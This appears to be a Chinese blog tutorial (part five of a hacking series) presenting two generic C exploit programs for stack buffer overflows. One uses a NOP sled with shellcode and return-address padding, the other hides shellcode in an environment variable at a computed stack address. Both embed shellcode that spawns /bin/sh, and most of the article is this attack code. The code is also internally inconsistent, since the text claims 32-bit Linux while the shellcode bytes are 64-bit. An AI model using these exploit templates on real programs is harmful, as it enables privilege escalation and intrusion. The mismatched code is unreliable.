黑客攻防入门(五)通用的缓冲区漏洞攻击代码

一、 缓冲区足够大的情形

下面的代码是网上众多缓冲区溢出攻击代码的一个变种,它可以进行很多场合下的漏洞攻击。

#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>

char shellcode[] =  /* shellcode exec /bin/sh */
    "\xeb\x2b\x59\x55\x48\x89\xe5\x48"
    "\x83\xec\x20\x48\x89\x4d\xf0\x48"
    "\xc7\x45\xf8\x00\x00\x00\x00\xba"
    "\x00\x00\x00\x00\x48\x8d\x75\xf0"
    "\x48\x8b\x7d\xf0\x48\xc7\xc0\x3b"
    "\x00\x00\x00\x0f\x05\xe8\xd0\xff"
    "\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";

unsigned long get_sp(void) {
    __asm__("movl %esp, %eax"); /* return rsp */
}

int main(int argc, char *argv[])
{
    int i, offset = 0;
    unsigned long sp, ret, *addr_ptr;
    char *prg, *prgpath, *buffer, *ptr;
    int size = 500;  /* default buffer size */

    sp = get_sp();  /* local sp value */

    if(argc > 1)
        prg = argv[1]; /* app name be exploited */

if(argc > 2)
        prgpath = argv[2]; /* app path be exploited */

    if(argc > 3)
        size = atoi(argv[3]);

    if(argc > 4)
        offset = atoi(argv[4]);

    if(argc > 5)
        sp = strtoul(argv[5], NULL, 0);  /* input sp for remote exploits */

    ret = sp - offset;

    buffer = (char *)malloc(size);

    ptr = buffer;

    addr_ptr = (unsigned long *) ptr;

    /* fill entire buffer with return addresses, ensures proper alignment */
    for(i=0; i < size; i+=4) {
        *(addr_ptr++) = ret;
    }

    /* fill 1st half of exploit buffer with NOPs */
    for(i=0; i < size/2; i++) {
        buffer[i] = '\x90';
    }

    /* place shellcode. start at the middle of the buffer */
    ptr = buffer + size/2;
    for(i=0; i < strlen(shellcode); i++) {
        *(ptr++) = shellcode[i];
    }

    buffer[size-1] = '\0';

    execl(prgpath, prg, buffer, (char*) 0);

    free(buffer);

    return 0;
}

上面这段代码主要作用是取代手工注入,代码运行基于32位的linux系统,buffer size预设为500字节,建设缓冲区不要少于500byte, 如果太小了就会装不下shellcode。

代码的参数1是将要攻击的程序的路径,参数2是将要攻击的程序的程序名称,参数3是缓冲区大小,参数4是调整地址对齐的偏移地址,参数5用于手工输入esp(这是缓冲区存储的地址范围)。

这段代码的注入模式是:NOPs+Shellcode+addr。

先用NOPs填充缓冲区开头的一半空间,这样更方便控制EIP(cpu指令指针),即使addr是一个大概的地址,也能成功的通过NOPs滑动至达shellcode的地址。

后面用addr填充就是确保能够覆盖保存的返回地址, 其中地址的对齐方式是4字节,可以通过程序的argv参数去控制offset偏移,精准的覆盖返回地址的前题是要正确对齐地址。

二、 缓冲区很小的情况

如果缓冲区只有10来个字节,不够安放shecode时,可以用环境变量的方法用存放shellcode,下面的代码用来实施小缓冲区漏洞攻击。

#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>

#define SIZE 128

char shellcode[] =  /* shellcode exec /bin/sh */
    "\xeb\x2b\x59\x55\x48\x89\xe5\x48"
    "\x83\xec\x20\x48\x89\x4d\xf0\x48"
    "\xc7\x45\xf8\x00\x00\x00\x00\xba"
    "\x00\x00\x00\x00\x48\x8d\x75\xf0"
    "\x48\x8b\x7d\xf0\x48\xc7\xc0\x3b"
    "\x00\x00\x00\x0f\x05\xe8\xd0\xff"
    "\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";


int main(int argc, char *argv[])
{
    char *prg, *prgpath, p[SIZE];
    int *ptr, i, addr, offset = 0;

    char *env[] = {shellcode, NULL};

    if(argc > 1)
        prg = argv[1]; /* app name be exploited */

    if(argc > 2)
        prgpath = argv[2]; /* app path be exploited */

    if(argc > 3)
        offset = atoi(argv[3]); /* app path be exploited */

    addr = 0xbffffffa - strlen(shellcode) - strlen(prg); /* calculate the exact location of the shellcode*/

    ptr = (int *) (p + offset); /*fill buffer with computed address, start offset bytes into array for stack alignment*/

    for(i = 0; i < SIZE; i+=4) {
        *ptr++ = addr;
    }

    execle(prgpath, prg, p, NULL, env);

    exit(1);
}

上面的代码涉及一个地址计算公式,这个公式是由Murat Balaban发现的, 这依赖于以下事实:即所有Linux ELF文件在映射到内存中时会将最后的相对地址设为0xbfffffff。参考linux程序运行内存布局可知,环境变量和参数就是存储在这个区域的。

这个公式是:

shellcode = 0xbfffffff - 0x4 - length(program name) - length(shellcode)

以下是示意图,基于linux的32位系统:

示意图

参考文章:

  1. Gray Hat Hacking, The Ethical Hacker's Handbook
  2. Computer Systems
最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 160,026评论 4 364
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 67,655评论 1 296
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 109,726评论 0 244
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 44,204评论 0 213
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 52,558评论 3 287
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 40,731评论 1 222
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 31,944评论 2 314
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 30,698评论 0 203
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 34,438评论 1 246
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 30,633评论 2 247
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 32,125评论 1 260
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 28,444评论 3 255
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 33,137评论 3 238
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 26,103评论 0 8
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 26,888评论 0 197
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 35,772评论 2 276
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 35,669评论 2 271

推荐阅读更多精彩内容